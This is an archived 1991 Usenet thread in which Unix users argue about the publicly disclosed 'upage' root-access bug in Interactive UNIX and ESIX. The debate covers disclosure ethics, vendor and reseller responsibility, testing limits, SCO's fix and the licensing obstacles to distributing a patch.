Morals
pdg@chinet.chi.il.us (Paul Guthrie) (02/19/91)
I'm sick of people calling this a "gaping kind-you-can-drive-a-truck-through hole" in UNIX security. If it was so gaping, how come it has never come up here before, like so many other obscure problems? ISC was fixing this, and if that idiot had kept his mouth shut, it would have been fixed in time, without many of us rushing out to buy coprocessors. He even admitted it didn't affect his site. This was an act of pure stupidity. If indeed he had been after ISC to get a fix, why wasn't a note like: "There is a terrible bug in ISC UNIX security that allows root access instantaneously. I have mailed the problem to ISC (or reported the bug) to ISC and will post the problem in 3 months. The clock is ticking ISC...." posted. The posting of source code to crack a system and binaries even was nothing more than glory-hounding, sort of like saying "See what I know and you don't". This person is immature, irresponsible and has caused a lot of people a lot of trouble. If indeed his cause was to get the bug fixed to stop "security problems" he would not have caused a multitude more in the short term. -- Paul Guthrie chinet!nsacray!paul or pdg@balr.com or attmail!balr!pdg
pdg@chinet.chi.il.us (Paul Guthrie) (02/19/91)
In article <3215@sixhub.UUCP> davidsen@sixhub.UUCP (bill davidsen) writes: >| Oh my god - its really true. (on my ISC 2.0.2 *with* co-proc.) > Here's a though for you, since the bug is in the emulator, and you >have a coprocessor, could it be that the system isn't seeing the coproc, >and that when you find out why, not only will the bug go away, but the >system should be a tad faster, too. No, all 2.0.2 systems. The 2.2 release notes showing a half hearted attempt to fix the problem is what lead most of us onto this in the first place. -- Paul Guthrie chinet!nsacray!paul or pdg@balr.com or attmail!balr!pdg
rbe@yrloc.ipsa.reuter.COM (Robert Bernecky) (02/19/91)
I have been watching the flood of "oh, how could they ever be so stupid/ incompetent", etc messages go by on this topic, but I can't take it no more Captain... Anybody who is stuck writing programs in ANY computer language, including APL and C today is going to write code that has bugs in it. Period. ENd of story. No way around it. Programming is not YET an engineering type of job. Should be. Ain't. Nobody knows how to make it so. Heaping shit on the developers is NOT going to help anyone. If you want to make a concrete contribution to the world of computing, figure out how to turn computing from an art into a science. I have yet to meet a computer scientist, in spite of working in this trade since 1962. Stop wringing your paws, and get down and do some USEFUL work. Jeesh. Of course, it is highly desirable for the developers of said bug to provide a fix asap. AND to ensure they don't reintroduce it later on, and so on. Bob Bernecky Snake Island Research Inc.
james@bigtex.cactus.org (James Van Artsdalen) (02/19/91)
In <1991Feb19.015227.26159@nuchat.sccsi.com>, steve@nuchat.sccsi.com (Steve Nuchia) wrote: > In <1991Feb16.214824.2790@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: | you're using the emulator, you seem to have a multi-segment | process). Since it needs to keep the fp registers somewhere, and they | are very much process-related, the "proper" place to keep them is in | the u area, just like other registers. > Unmitigated bullshit. oh? I see you haven't thought the problem through yet. > The only technical justification for putting them there are > 1) so they get initialized at startup without additional > code in exec. > 2) to avoid having to allocate a chunk of data space and > figure out how to address it from the emulator. Now, think about sdb, and then propose a solution. Remember, we're not out to remove things from the u block, only to make sure that important things aren't writable. Those are very different goals. Also, remember that Sean is talking about SCO's *solution*, which already works and is in the field. Until yours is implemented and working, don't be so quick to criticize. -- James R. Van Artsdalen james@bigtex.cactus.org "Live Free or Die" Dell Computer Co 9505 Arboretum Blvd Austin TX 78759 512-338-8789
junk1@cbnews.att.com (eric.a.olson) (02/19/91)
In article <1991Feb18.140624.1860@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: > >THE uunencoded binary is not less dangerous. I meant "a uuencoded binary >that proves that root access was obtained without damaging the security >of the system". > Oh, come on, Conor...you would run a _binary_ file that proves that root access was obtained and that _claims_ not to have damaged the security system? I would not. I tried the source (segmentation violation on AT&T 3.2.1 and 3.2.2 with no co-proc). I think that perhaps the best of both worlds would have been served with the simple statement, "The u-area is not write-protected on all versions of the UNIX operating system." eric a. olson eao@mvucl.att.com
larry@nstar.rn.com (Larry Snyder) (02/19/91)
pdg@chinet.chi.il.us (Paul Guthrie) writes: >many other obscure problems? ISC was fixing this, and if that >idiot had kept his mouth shut, it would have been fixed in time, >without many of us rushing out to buy coprocessors. He even Personally, I am glad this bug was brought up here for all of us to see - with complete source code documenting the problem -- kudos to the original poster :) -- Larry Snyder, NSTAR Public Access Unix 219-289-0287 (HST/PEP/V.32/v.42bis) regional UUCP mapping coordinator {larry@nstar.rn.com, ..!uunet!nstar.rn.com!larry}
evan@telly.on.ca (Evan Leibovitch) (02/19/91)
Considering the timing of when this whole discussion started, and the
revelation that Release 4 does not have the problem, perhaps this is
the vendors' collectinve way of getting us all to upgrade to R4.
(Except for SCO, of course. Heaven forbid *they'd* want anyone to
upgrade to R4 ;-).
Followups to alt.consipracy :-) ?
--
Evan Leibovitch, Sound Software, located in beautiful Brampton, Ontario
evan@telly.on.ca / uunet!attcan!telly!evan / (416) 452-0504
Ididntdoit, nobodysawmedoit, youcantproveathing. - Bartdavid@talgras.UUCP (David Hoopes) (02/19/91)
In article <1013@tuura.UUCP> mattij@tuura.UUCP (Matti Joutkoski) writes: >chip@tct.uucp (Chip Salzenberg) writes: > >>I'm sorry, but SCO C2 security is still a botch. > >Haven't heard about 3.2.2? During installation, you can CHOOSE, do you >want to use C2 or NOT! > Not exactly, you can choose if you want C2 relaxed or not. There is still no way to get rid of it. I just spent a whole week wasted because of that C2 junk. I hate C2. I hate it alot. -- --------------------------------------------------------------------- David Hoopes Tallgras Technologies Inc. uunet!talgras!david 11100 W 82nd St. Voice: (913) 492-6002 x323 Lenexa, Ks 66214
mjhammel@Kepler.dell.com (Michael J. Hammel) (02/20/91)
In article <446@bria>, writes: > In an article, unix386.Convergent.COM!mburg (Mike Burg) writes: > >In article <27B93F44.5606@tct.uucp>, chip@tct.uucp (Chip Salzenberg) writes: > > >I think the blame should be placed on AT&T. They are the > >ones who are (were) shipping the base source with the bug. Most AT&T UNIX > >vendors typically only concentrate on adding more options to the system > >(i.e. X-Windows, more controller card support, networking). They usually > >don't looking into rats mazes like memory managment. Now, look it from the > >vendors eye's - You'd be expecting for AT&T to ship a somewhat "secure" (if > >you can call it that) product, without serious holes like this one. [...] > > Bullocks. The simple fact that it has come from AT&T does not mean it > excuses a company who is going to refurbish and _resell_ it from going > through it with a fine tooth comb. Once it's out that door with that > company's name on it, it's not AT&T's problem anymore. > This is a poor analogy but... If Ford buys 1000 bolts to hold its motors in its cars and the bolts break do you blame Ford or the bolt manufacturer? Remember (in this case), testing bolts to see if they will break under pressure is destructive testing, thus not every bolt could be tested, either by Ford or the bolt manufacturer. The point is that if the reseller of the product does not have the resources to retest what was delivered by the original developer then the reseller isn't going to do so. Why can't the reseller expect that the original developer had fully tested the original product? The reseller should only have to be responsible for what the reseller modifies (and anything that might get broke because of those modifications). However, if the reseller wishes to save face, it will make every attempt to fix things that it didn't break anyway. :-) > >Face it folks, all versions of Unix for the PC have problems of some kind. > >(Just a matter of what size the explosion will be when it goes off in your > >face) It ain't no Ginsu knive offer - ("It dices, it slices, it's a > >mutlitasking OS and a teeth cleaner! And if you order now you'll receive....") > > True enough, but this no reason for the user to not _expect_ a bug-free > version. Yes, it is pie-in-the-sky, but every company's objective should > be to provide a bug-free product (not a product that has known bugs, or > has them as "features"). > The customer has a right to expect such things, but with large scale software development its not always possible to provide bug-free code in a timely and low-cost manner. Its a trade-off. Part of the developers (or resellers) responsibility is to eliminate as many problems as possible in as short a time frame as possible (both for convenience to the customer and to beat the competition to the punch). In some cases, such as with UNIX, many customers are willing to accept a certain level of bugs in order to get "the latest-greatest" ASAP. In other cases, bug-free software is a necessity (like in communications satellites). Notice that versions of UNIX come out much more often and at lower cost than *most* satellites. ;-) > How about forcing them to give prior disclosure of all known bugs, _outside_ > of the shrink wrap? How about forcing them to provide _free_ bug-fixes on > a regular basis? How do you force them? Don't buy until they do it. No > company is motivated to change unless it socks 'em in the wallet. > I'm not sure about the bug lists, but I do believe some companies offer free bug-fixes for current customers. Major revisions might be at cost for current customers. The question is how much can you give away before you start losing money? (That is, unfortunately, the reason most companies are in business. *sigh*) Michael J. Hammel | mjhammel@{Kepler|socrates}.dell.com Dell Computer Corp. | {73377.3467|76424.3024}@compuserve.com #include <disclaim/std> | zzham@ttuvm1.bitnet | uunet!uudell!feynman!mjhammel #define CUTESAYING "Lead, follow, or get the hell out of the way."
paul@frcs.UUCP (Paul Nash) (02/20/91)
Thus spake sef@kithrup.COM (Sean Eric Fagan): > In article <1991Feb16.162814.13117@unixland.uucp> bill@unixland.uucp (Bill Heiser) writes: > >This is a good question (for those of us who don't know) -- how does > >one edit binaries in Unix? Is there a utility like Norton out there > >(yes, I know Norton is available for ISC, but I'm running Esix). > > I always use emacs for that purpose. It's quite handy at some things... For those with limited disk space (and a shortage of META-keys), try xvi. It does most of the vi commands, and is small (87 kb source, 71 kb binary on Unix/386) ---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=--- Paul Nash Free Range Computer Systems cc paul@frcs.UUCP ...!uunet!m2xenix!frcs!paul
mjhammel@Kepler.dell.com (Michael J. Hammel) (02/20/91)
In article <15297@uudell.dell.com>, mjhammel@Kepler.dell.com (Michael J. Hammel) writes: > The point is that if the reseller of the product does not have the > resources to retest what was delivered by the original developer then > the reseller isn't going to do so. Why can't the reseller expect that > the original developer had fully tested the original product? The > reseller should only have to be responsible for what the reseller > modifies (and anything that might get broke because of those > modifications). However, if the reseller wishes to save face, it will > make every attempt to fix things that it didn't break anyway. :-) [ rest of previous post deleted ] Just thought I'd better add that my last posting was not in defense of ISC (or anyone else for that matter) shipping broken code. It was just generalization on the problems of large scale software development projects. Michael J. Hammel | mjhammel@{Kepler|socrates}.dell.com Dell Computer Corp. | {73377.3467|76424.3024}@compuserve.com #include <disclaim/std> | zzham@ttuvm1.bitnet | uunet!uudell!feynman!mjhammel #define CUTESAYING "Lead, follow, or get the hell out of the way."
martys@mchale.ism.isc.com (Marty Stewart) (02/20/91)
This is mail to address the suggestions that INTERACTIVE either post the security hole fix to the net or put it on a ftp site where it can be picked up by users. Under the AT&T licensing agreement, INTERACTIVE cannot post AT&T code to a site where any user can pick it up. We are under the obligation to make sure only AT&T licensed users receive binaries that have portions of AT&T code in them. The fixes for the security hole are in os.o and as such, the code cannot be put in a public area. Another reason for not posting to the net is that the os.o is quite large and will take up unnecessary band- width at sites that do not need the INTERACTIVE fix. As an alternative to calling support, please send mail to martys@ism.isc.com and I will see to it that users are sent a fix as soon as support is given the fix. I will need an address, the version of software that you are running and your 2.0.2 or 2.2 serial number. INTERACTIVE apologizes for any inconveniences this may cause users. Marty C. Stewart Support Team Leader INTERACTIVE Systems Corp.
erik@gogoman.sf.ca.us (Erik Fortune) (02/20/91)
>Anybody who is stuck writing programs in ANY computer language, including >APL and C today is going to write code that has bugs in it. Period. ENd >of story. No way around it. Programming is not YET an engineering >type of job. Should be. Ain't. Nobody knows how to make it so. Re-read the original posting. The poster wasn't complaining that the bug existed. He was complaining that ISC refused to acknowledge and repair the bug once it was pointed out. Having bugs in your code is a part of life. Refusing to fix a most heinous security hole like this one is not acceptable. >Heaping shit on the developers is NOT going to help anyone. Agreed. However, heaping truckloads of shit on whoever decided that this bug wasn't important to fix, *even though* AT&T had sent them a fix is a solemn duty. >Of course, it is highly desirable for the developers of said bug to >provide a fix asap. AND to ensure they don't reintroduce it later on, >and so on. Precisely the intent of the person who started this thread. After banging his head against interactive support for far longer than he should have had to considering the severity of the bug, he decided to try to embarass them into fixing it. Looks like it's working. BTW: Another poster compared this to Ford buying bad bolts, but the analogy doesn't quite fit. Let's restate it this way: Ford buys bad bolts from a bolt manufacturer. The bolt manufacturer and a customer both discover the bad bolts and try to get Ford to replace them; Ford refuses, and continues to use the bolts that they know to be defective. I think the liability questions are a little (say, two orders of magnitude) less fuzzy in this case. -- Erik erik@gogoman.sf.ca
junk1@cbnews.att.com (eric.a.olson) (02/20/91)
In article <113@calcite.UUCP> vjs@calcite.UUCP (Vernon Schryver) writes: >There is no plausible test that would have found the big, bad bug. Please >don't suggest a program that would write to all possible invalid pages in >the hope of causing something unexpected without providing a way to do that >quickly enough to be useful, ... Oh, give me a break. SOMEONE must have been responsible for seeing whether or not writes to illegal pages get stopped by a segmentation fault. It doesn't take _that_ long to go thru your address space.
chip@tct.uucp (Chip Salzenberg) (02/21/91)
According to pcg@cs.aber.ac.uk (Piercarlo Grandi): >The first thing their attorney will have told them must have been >"don't admit anything". For minor bugs, the old "it's not a bug, it's a feature" spiel might be a workable alternative. But I would be flabbergasted if a member of any U.S. bar association advised Interactive not to 'fess up about the upage bug, unless said lawyer was misled as to the bug's nature. >Technically and practically, all these vendors are just selling you >defect free floppies. The usefulness of their contents are explicitly >disclaimed in every possible way. Fortunately, the warranty that asserts this "fact" is not the be-all and end-all of vendor-customer obligations. -- Chip Salzenberg at Teltronics/TCT <chip@tct.uucp>, <uunet!pdn!tct!chip> "It's not a security hole, it's a SECURITY ABYSS." -- Christoph Splittgerber (with reference to the upage bug in Interactive UNIX and Everex ESIX)
chip@tct.uucp (Chip Salzenberg) (02/21/91)
According to pdg@chinet.chi.il.us (Paul Guthrie): >I'm sick of people calling this a "gaping kind-you-can-drive-a-truck-through >hole" in UNIX security. If it was so gaping, how come it has never come up >here before, like so many other obscure problems? Think about this: ANYONE CAN BECOME ROOT AT ANY TIME. That's not a "gaping" security hole? If there ever was a bug that deserved the description "huge, gaping, obvious, drive-a-truck-through-it", it's this one. >ISC was fixing this... ^^^^^^^^^^^^^^^^^^^ So far, not even the ISC people have claimed that they were fixing it before the bug report here. If they had deemed it worth fixing, it would have been fixed between the release of 2.2 -- the absolutely latest date that ISC can claim ignorance -- and the release of 2.2.1. But it wasn't; so they weren't. QED. >"There is a terrible bug in ISC UNIX security that allows root access >instantaneously. I have mailed the problem to ISC (or reported the bug) to >ISC and will post the problem in 3 months. The clock is ticking ISC...." That would not have allowed the people who care about security to protect themselves for those three months. Yes, a coprocessor is expensive; but would you rather have an expensive, secure system or an inexpensive one full of holes? I know I'd turn the latter off. -- Chip Salzenberg at Teltronics/TCT <chip@tct.uucp>, <uunet!pdn!tct!chip> "It's not a security hole, it's a SECURITY ABYSS." -- Christoph Splittgerber (with reference to the upage bug in Interactive UNIX and Everex ESIX)
mike (02/21/91)
In an article, mjhammel@Kepler.dell.com (Michael J. Hammel) writes: >This is a poor analogy but... > >If Ford buys 1000 bolts to hold its motors in its cars and the bolts >break do you blame Ford or the bolt manufacturer? Remember (in this >case), testing bolts to see if they will break under pressure is >destructive testing, thus not every bolt could be tested, either by Ford >or the bolt manufacturer. It matters not who is to _blame_. It does matter who's _responsible_. You bought your car from Ford. The motor flies out of the hood because of defective bolts. You go to Ford, and they say "Sorry, but you'll have to talk to ``XYZ Bolt''. It's not our problem because _we_ didn't make the bolts." I personally wouldn't sit still for this, and I doubt you would either. Consider that I buy a flavor of UNIX from Dell, and your version has a major bug which compromises the security of the system. I could care less that you originally got the code from AT&T. You modified it, you put your name on it, and you sold it to me for a goodly chunk of change. It isn't going to be AT&T's door I go banging on. It's going to be yours. >The point is that if the reseller of the product does not have the >resources to retest what was delivered by the original developer then >the reseller isn't going to do so. Why can't the reseller expect that >the original developer had fully tested the original product? The >reseller should only have to be responsible for what the reseller >modifies (and anything that might get broke because of those >modifications). However, if the reseller wishes to save face, it will >make every attempt to fix things that it didn't break anyway. :-) The reseller should be responsible for what is sold. When I buy a flavor of UNIX, I am buying a complete package, not just modifications. (Those who thrive on the legal aspects of this will point out that all you're really buying is diskettes. Fine, but a company who treats its customers accoring to that criteria won't be in business very long.) >> How about forcing them to give prior disclosure of all known bugs, _outside_ >> of the shrink wrap? How about forcing them to provide _free_ bug-fixes on >> a regular basis? How do you force them? Don't buy until they do it. No >> company is motivated to change unless it socks 'em in the wallet. >> > >I'm not sure about the bug lists, but I do believe some companies offer >free bug-fixes for current customers. Major revisions might be at cost >for current customers. The question is how much can you give away >before you start losing money? (That is, unfortunately, the reason most >companies are in business. *sigh*) As a consumer, I could quite honestly care less about what your cost is to insure a working system. That is your problem, not mine. If you find that you can't turn a buck because of an inferior product, then you'll go out of business. That's the joy of capitalism. Cheers, -- Michael Stefanik, MGI Inc., Los Angeles| Opinions stated are not even my own. Title of the week: Systems Engineer | UUCP: ...!uunet!bria!mike ------------------------------------------------------------------------------- Remember folks: If you can't flame MS-DOS, then what _can_ you flame?
chip@tct.uucp (Chip Salzenberg) (02/21/91)
According to rbe@yrloc.ipsa.reuter.COM (Robert Bernecky): >Anybody who is stuck writing programs in ANY computer language, including >APL and C today is going to write code that has bugs in it. Period. Of course. But any company that sells version after version of an OS, knowing full well that each of those versions has a truck-sized hole in its security, and not taking step one to fix that bug, deserves all the criticism that can be generated. (BTW, I know that there are people at ISC, and I presume also at Everex, that knew about the bug and tried to get it fixed. I sympathize with you for having chosen bozos for employers.) -- Chip Salzenberg at Teltronics/TCT <chip@tct.uucp>, <uunet!pdn!tct!chip> "It's not a security hole, it's a SECURITY ABYSS." -- Christoph Splittgerber (with reference to the upage bug in Interactive UNIX and Everex ESIX)
vjs@calcite.UUCP (Vernon Schryver) (02/21/91)
In article <1991Feb20.124535.10669@cbnews.att.com>, junk1@cbnews.att.com (eric.a.olson) writes: > In article <113@calcite.UUCP> vjs@calcite.UUCP (Vernon Schryver) writes: > >There is no plausible test that would have found the big, bad bug. Please > >don't suggest a program that would write to all possible invalid pages in > >the hope of causing something unexpected without providing a way to do that > >quickly enough to be useful, ... > > Oh, give me a break. SOMEONE must have been responsible > for seeing whether or not writes to illegal pages get > stopped by a segmentation fault. It doesn't take _that_ > long to go thru your address space. Perhaps it would be fast enough. Please do the math. Then figure how long it would take for the test program to do something more than trash the user process, the "benign" result. Now please consider what would happen in real life: tester: "Gee, test123456 just found that it can write to address 0xblah." test manager: "Uh, oh! Call a meeting of all 3rd and 4th level engineering and manufacturing managers. The new release is unusable!". ... 13 weeks and 1000 hours of meetings and memos later ... 1st level engineering manager to tech lead: "Software QA just found that a user process does not get a fault when writing to address 0xblah." What should we do?" tech lead: "Don't have a cow. It's only where the FP registers are saved." ... 2 weeks and 3 meetings later ... test manager to tester: "Change test123456 to not worry about address 0xblah. It's not a problem." ... 6 months later ... 1000's of USENET posters have a cow. I've played parts in many of these circuses over the last decades, tho I've never worked for ISC and have never had the chance for so many USENET experts to second guess me all at once. Vernon Schryver, vjs@calcite.uucp
jca@pnet01.cts.com (John C. Archambeau) (02/21/91)
martys@mchale.ism.isc.com (Marty Stewart) writes: > > This is mail to address the suggestions that INTERACTIVE either post >the security hole fix to the net or put it on a ftp site where it can be >picked up by users. > > Under the AT&T licensing agreement, INTERACTIVE cannot post AT&T >code to a site where any user can pick it up. We are under the obligation >to make sure only AT&T licensed users receive binaries that have portions of >AT&T code in them. The fixes for the security hole are in os.o and as such, >the code cannot be put in a public area. Another reason for not posting to >the net is that the os.o is quite large and will take up unnecessary band- >width at sites that do not need the INTERACTIVE fix. > > As an alternative to calling support, please send mail to >martys@ism.isc.com and I will see to it that users are sent a fix as soon as >support is given the fix. I will need an address, the version of software >that you are running and your 2.0.2 or 2.2 serial number. INTERACTIVE >apologizes for any inconveniences this may cause users. Now this is getting to be a bloody sick joke. I find it a little bit difficult to believe that there just isn't a simple binary patch for os.o much along the same lines as the inode patch that has been floating around for ages. Might I remind you that SCO provides their patches and fixes to the public via anonymous UUCP. This is going about as well as a SCUD missile attack. Maybe we should get Joe Isuzu to head ISC tech support. At least then we know that we're getting the shaft and ISC is getting the gold mine. I want the patch in my hot little hands before the customer goes out and buys ISC. Such security holes are intolerable. Maybe we should all send suggestions to Saturday Night Live for an 'Anal Retentive Unix Vendor' skit? // JCA /* **--------------------------------------------------------------------------* ** Flames : /dev/null | What to buy? ** ARPANET : crash!pnet01!jca@nosc.mil | EISA or MCA? ** INTERNET: jca@pnet01.cts.com | When will the bus wars end? ** UUCP : {nosc ucsd hplabs!hp-sdd}!crash!pnet01!jca **--------------------------------------------------------------------------* */
mjhammel@Kepler.dell.com (Michael J. Hammel) (02/21/91)
In article <113@calcite.UUCP>, vjs@calcite.UUCP (Vernon Schryver) writes: > In article <15297@uudell.dell.com>, mjhammel@Kepler.dell.com (Michael J. Hammel) writes: > > .... Why can't the reseller expect that > > the original developer had fully tested the original product? > > Have I correctly inferred that the author either works in a testing > organzation or in a non-technical or at least non-software capacity at Dell? > Test engineer. Software and Hardware in R&D. > There is no plausible test that would have found the big, bad bug. Please > don't suggest a program that would write to all possible invalid pages in > the hope of causing something unexpected without providing a way to do that > quickly enough to be useful, and with a way to reliably detect that > something more interesting than the FP registers were trashed. > I misrepresented what I was trying to say. I wasn't suggesting that the particular bug that has been discussed lately could have been found this way. Its just that its oftern hard to point to *exactly* who should be responsible for some problem when various groups have their fingers in the code. Besides, I've learned, as a test engineer, that pointing doesn't solve the problem. In fact, it often slows the fixes development. As a tester, however, I can't help but point at myself for a bug that gets by. After all, its my *job* to find bugs. > There has been enduring interest in proofs of correctness, ADA, and the > rest of the "constructive" software reliablity stuff, because testing finds > only a minority of the bugs. Testing is good for knowing if an old bug has > reappeared and for knowing if the build was a complete failure. That's all. > I wouldn't say its that unimportant. A major part of testing (it shouldn't be this way, but often ends up like this) is to uncover the bugs "on the surface" so the product looks good to the user. The more important (often more destructive) bugs take longer to find (either by automated testing or just be sheer accident) and often don't get found because of time constraints to get a product to market. I suppose it depends on how one views "testing", as a non-technical part of the development process, or a more sophisticated and integral part of the development process (thats not a good description, but I think you understand what I mean). We should probably move this discussion to comp.software-eng. Or email me if you'd liked to talk more about it. Michael J. Hammel | mjhammel@{Kepler|socrates}.dell.com Dell Computer Corp. | {73377.3467|76424.3024}@compuserve.com #include <disclaim/std> | zzham@ttuvm1.bitnet | uunet!uudell!feynman!mjhammel #define CUTESAYING "Lead, follow, or get the hell out of the way."
chip@chinacat.Unicom.COM (Chip Rosenthal) (02/21/91)
In article <1991Feb20.005322.24769@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >well, HOW did they [SCO] fix it??? By looking at <sys/user.h>, it looks like they used the AT&T 3.2.1 approach. The fp registers appear at the very top of the structure, along with kstack. Therefore, this page could be mapped into user space, leaving the second page with the sensitive stuff untouchable. What I'm really curious about is how XENIX does it. The fp emulation is done in the kernel, but it does not appear that XENIX maps any portion of the user structure into user space. I think I've found the address at which user is placed, but any attempt to access it dumps core. I'm wondering if the working registers for the fp emulator are maintained elsewhere, and moved into/out of the user structure when a process is scheduled/unscheduled, just as the hardware coprocessor registers are. -- Chip Rosenthal 512-482-8260 | Unicom Systems Development | I saw Elvis in my wtmp file. <chip@chinacat.Unicom.COM> |
cpcahil@virtech.uucp (Conor P. Cahill) (02/21/91)
jca@pnet01.cts.com (John C. Archambeau) writes: >Now this is getting to be a bloody sick joke. I find it a little bit >difficult to believe that there just isn't a simple binary patch for os.o much >along the same lines as the inode patch that has been floating around for Think about this. The problem is that a certain area of the user structure needs to be writable while the rest is read-only. This will probably require shifting the elements of the structure around, or at least changing the offsets so that the writable portion ends up on it's own page. This kind of change will require a recompile of every module that accesses the user structure plus some additional changes in the setup code that places the user structure at virtual adress 0xE... This is definately a much larger change than that required for the inode bug fix. >This is going about as well as a SCUD missile attack. Maybe we should get Joe >Isuzu to head ISC tech support. At least then we know that we're getting the >shaft and ISC is getting the gold mine. Yes ISC made a big mistake in letting this bug go. HOWEVER, they are trying to get a fix out as soon as they can. This is not a small change and if they were to send it out and it introduced an additional problem you would all be screeming louder. The change has to be made, the new kernel has to be tested and they will have to test the program level also, to make sure that no problems were introduced there. Once that is completed they have to put the patch together, get the disks duplicated, and send them out. This will take time. I too thought posting the fix would be appropriate, but if there is a licensing agreement that stands in the way, there is nothing that ISC can do about it. >I want the patch in my hot little hands before the customer goes out and buys >ISC. Such security holes are intolerable. Yes we all agree on this, even ISC. -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
richard@pegasus.com (Richard Foulk) (02/21/91)
>Now this is getting to be a bloody sick joke. I find it a little bit >difficult to believe that there just isn't a simple binary patch for os.o much >along the same lines as the inode patch that has been floating around for >ages. Might I remind you that SCO provides their patches and fixes to the >public via anonymous UUCP. `No imagination' seems like a good explanation. -- Richard Foulk richard@pegasus.com
vjs@calcite.UUCP (Vernon Schryver) (02/22/91)
In article <15342@uudell.dell.com>, mjhammel@Kepler.dell.com (Michael J. Hammel) writes: > ...[many reasonable words deleted].... > Michael J. Hammel | mjhammel@{Kepler|socrates}.dell.com > Dell Computer Corp. | {73377.3467|76424.3024}@compuserve.com I'm overwhelmed. Mr. Hammel's note seems honest and accurate. My long experience with "QA departments" in more than 1 or 2 companies is that he is one of the fabled good test people. The other 95% and their management make a good case for eugenics. Those are the ones who claim to think a test plan would find all bugs, who never find one real bug on their own, and who file zillions of "control-D logs out the shell" reports and require senior management intervention before they'll close them. It's too bad Mr. Hammel is in TX; I can't point my daytime employer's recruiters at him. Maybe I should look into Dell's SV for my PC. Vernon Schryver, vjs@calcite.uucp
sef@kithrup.COM (Sean Eric Fagan) (02/22/91)
In article <1991Feb21.141349.26015@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: >This kind of change will require a recompile of every module that accesses >the user structure plus some additional changes in the setup code that places >the user structure at virtual adress 0xE... Which happens to include just about every device driver, and *does* include things like NFS. No, it's not an easy change (well, actually, it's an *easy* change to make, provided you do it with all the sources to everything, and then recompile it all 8-(). I, personally, am interested to see if they are going to do it in a compatable manner... -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
alex@am.sublink.org (Alex Martelli) (02/22/91)
pax@megasys.com (Garry M. Paxinos) writes:
...
: for vendor hackery, read Ritchie's musing on what can be done with
: virusing 'cc' in his Turing award lecture in CACM.
:
:Offhand, do you know which issue?
It's actually Thompson's 1983 Turing Award Lecture, "Reflections on
Trusting Trust" (Ritchie, co-winner, spoke about "Reflections on
Software Research"), and it's reprinted in "ACM Turing Award Lectures,
the first twenty years 1966-1985", ACM Press Anthology Series
(Addison-Wesley, NY, ISBN 0-201-07794-9). Sorry, I don't know the
original CACM issue number - the anthology is well worth buying, though
(there's Perlis, Wilkes, Hamming, Minsky... up to Wirth, then Karp...).
--
Alex Martelli - (home snailmail:) v. Barontini 27, 40138 Bologna, ITALIA
Email: (work:) staff@cadlab.sublink.org, (home:) alex@am.sublink.org
Phone: (work:) ++39 (51) 371099, (home:) ++39 (51) 250434;
Fax: ++39 (51) 366964 (work only), Fidonet: 332/401.3 (home only).rhealey@digibd.com (Rob Healey) (02/22/91)
In article <1991Feb14.142947.1777@metaware.metaware.com> ken@metaware.UUCP (ken) writes: >In article sef@kithrup.COM (Sean Eric Fagan) writes: >-In article bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) writes: >----Now, the question is, what do we do to protect ourselves in the meantime? >---Get SCO. [...] >--Please keep your mindless SCO chauvinism to yourself. >-Gee, that's funny. When people complain all about SCO's problems, and other >-people respond with "Get ISC or ESIX," I don't see you complaining about >-that. > >I think you got flammed for posting a rather blatent advertisement for SCO. >Most people probably know that you work there and that you have rather biased >opinions about SCO's products. That type of posting is generally frowned >upon. > Strange, I've seen alot of articles that are blatant advertisements for ESIX or ISC as well. I have zero ways to tell if those people are intimately involved with the respective companys or not. How could I tell that kithrup.com was a "sco.com" in a mask? How could I tell that the sites smashing SCO and praising ISC/ESIX really aren't ISC/ESIX people in a mask? I personally thought ISC was lacking a few months ago and thus argued for SCO at our site. ISC felt very rough around the edges and gave me an uneasy feeling about the overall reliability. SCO has it's problems but it feels less ragged than ISC. Once you get used to the Secureware abortion it runs pretty good. Now, I have good reason to believe my gut level impressions of ISC from a few months ago... -Rob Speaking for self, not company.
rhealey@digibd.com (Rob Healey) (02/22/91)
In article <1991Feb14.174314.475@ux1.cso.uiuc.edu> brando@uicsl.csl.uiuc.edu (Brandon Brown) writes: >davidg@aegis.UUCP (Dave McLane) writes: >>As a sample of how "fast" ISC responds, I have been trying for a >>month to get them to send me a replacement for the disk that was >>supposed to update my $2149 Architech Developer to Multi-User. The >>disk got an Uncorrectable data read error, not doubt because the >>little cutout for the timing signal hole was running around loose >>in the disk which happened to drop out on my foot when I pulled the >>disk out ... "Eh, what's that. Oh shit!" > >Dave, sorry you have had a "bad experience" with ISC. I have never had >anything but GREAT response, even a time when I trashed my install diskette >4 times before moving my 16-bit video card to an 8-bit slot. (Terrible fix, >I know, but all I wanted to do was get a working system going.) On each >occasion I received a replacement install disk UPS RED. > Maybe you've had great response because your site is a huge customer rather than a single user or small company? It surprised me how vendor attitude changed when I called them as a single user vs. a worker at a University. I was treated like sh*t when I called as a single user, I was treated like a king when I called as a rep. of the U. What do you think my opinions of those companys were? Guess which companys didn't get my recommendation when time came to upgrade or purchase? The good companys treat EVERY customer well, not just the big accounts. -Rob Speaking for self, not company.
rhealey@digibd.com (Rob Healey) (02/22/91)
In article <6938@rsiatl.Dixie.Com> jgd@Dixie.Com (John G. DeArmond) writes: >Could it be that the spat of silence from many people who normally would >be at Dresden incendiary levels by now is because their lawyers have told them >to keep their mouths shout while they prepare cases? > Take a look at the disclaimer on the OS box... No software company can be sued because you accepted a disclaimer when you open the seals on the packaging. If you read it carefully it says that YOU the USER take all the responsibility and the software supplier cannot be blamed for anything, damage or loss of data, that results from the use of the software. My guess is that corporate lawyers all over the country have their jaws dropped to the floor that anyone in their respective companys would use such stuff. I'm sure someone will TRY to sue ISC but I doubt anything will come of it other than bad publicity for ISC... B^(. This is the major problem with the software profession, no one can be held legally accountable for anything despite the fact the supplier may be morally bankrupt... B^(. -Rob Speaking for self, not company.
rhealey@digibd.com (Rob Healey) (02/22/91)
